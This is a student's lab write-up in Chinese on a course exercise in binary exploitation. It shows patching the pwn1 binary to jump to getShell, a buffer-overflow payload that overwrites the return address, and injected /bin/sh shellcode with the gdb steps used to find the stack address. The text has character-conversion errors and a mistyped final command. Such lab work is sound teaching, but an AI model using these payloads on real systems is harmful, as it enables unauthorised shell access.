Exp1 PC平臺逆向破解 20165235 祁瑛

Exp1 PC平臺逆向破解 20165235 祁瑛

實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。該程序同時包含另外一個代碼段，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode。
三個實踐內容以下：

• 手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數。
• 利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數。

• 注入一個本身製做的shellcode並運行這段shellcode。

  基礎知識

  NOP：NOP指令即「空指令」。執行到NOP指令時，CPU什麼也不作，僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。
  JNE：條件轉移指令，若是不相等則跳轉。
  JE：條件轉移指令，若是相等則跳轉。
  JMP：無條件轉移指令。段內直接短轉Jmp short段內直接近轉移Jmp near段內間接轉移Jmp word（ 段間直接(遠)轉移Jmp far
  CMP：比較指令，功能至關於減法指令，只是對操做數之間運算比較，不保存結果。cmp指令執行後，將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

直接修改程序機器指令

建立學號文件夾：

使用 objdump -d pwn20165235_1將pwn20165235_1反彙編，獲得如下代碼：

80484b5: e8 d7 ff ff ff call 8048491 <foo>這條彙編指令，e8表示「call」，在main函數中調用位於地址8048491處的foo函數。若是想函數調用getShell，只須要修改d7 ff ff ff便可。根據foo函數與getShell地址的偏移量，咱們計算出應該改成c3 ff ff ff。
具體步驟以下：

• vi pwn20165235_1進入命令模式
• 輸入:%!xxd將顯示模式切換爲十六進制
• 在底行模式輸入/e8d7定位須要修改的地方，並確認
  
• 進入插入模式，修改d7爲c3
• 輸入:%!xxd -r將十六進制轉換爲原格式

• 使用:wq保存並退出

  運行修改後的代碼：
  

經過構造輸入參數，形成BOF攻擊

使用gdb進行調試，當輸入爲如下字符時發生段錯誤，產生溢出：

查看寄存器裏面的數據(eip的值爲ASCII的5，即在輸入字符串的「5」的部分發生溢出)：

輸入字符串1111111122222222333333334444444455555555，5555會覆蓋到堆棧上的返回地址，CPU會這個代碼。只要把這四個字符替換爲 getShell 的內存地址，輸給pwn20165235_2，pwn1就會運行getShell。(由反彙編結果可知getShell的內存地址爲：0804847d)。

使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令構造文件。而後使用指令(cat input ) | ./pwn20165235_2 運行程序：

注入Shellcode並執行

首先使用apt-get install execstack命令安裝execstack。
輸入圖上所示的指令，關閉地址隨機化：

在shellcode前填充nop的機器碼90，最前面加上加上返回地址（先定義爲\x4\x3\x2\x1）：

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
咱們還不知到在\x4\x3\x2\x1充填什麼數據，接下來的操做會找出這塊數據：
首先在一個shell上運行pwn20165235_3（(cat input ) | ./pwn20165235_3）.而後再打開另外一個shell，使用指令：ps ef | grep pwn20165235_3,查看運行中的pwn20165235所佔用的端口號
查看完端口號在這個shell下打開gdb調試：

設置斷點，來查看注入buf的內存地址，使用break *0x080484ae設置斷點，查看並輸入c繼續運行。打開運行pwn20165235_3的shell，按下回車，返回調試gdb的shell界面。使用info r esp查找地址。

使用x/16x 0xffffd35c查看其存放內容，看到了01020304，就是返回地址的位置。

根據咱們構造的input_shellcode可知，shellcode就在其後，因此地址是 0xffffd35c + 0x4=0xffffd360。接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可：

perl -e 'print "A" x 32;printt"\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再執行程序，攻擊成功：

實驗中遇到的問題,思考

遇到的問題：

在運行第三個實驗時出現段錯誤：

解決方法：在計算shellcode的地址時計算出錯（加0x4計算失誤）。

思考題

• 什麼是漏洞？漏洞有什麼危害？

• 我認爲漏洞的種類有不少，一些事是在程序設計時的邏輯漏洞，好比緩衝區溢出，因爲沒有考慮到輸入超出棧分配的空間的狀況，被攻擊者利用。還有一些漏洞是因爲硬件的緣由或者是協議的緣由。還有一些漏洞多是人爲的，好比一些後門。他人能夠利用這些漏洞未受權的訪問計算機，任意的對文件進行操做或者是讀取。

  實驗感覺

• 經過本次的實驗，掌握了反彙編以及機器指令的修改。其實在課堂上並無掌握這些知識，只是知道大概怎麼作而已。通過本身不斷地實踐操做，借鑑學長學學姐的實驗指導，對緩衝區溢出攻擊，堆棧是如何被惡意代碼覆蓋的有了足夠的掌握。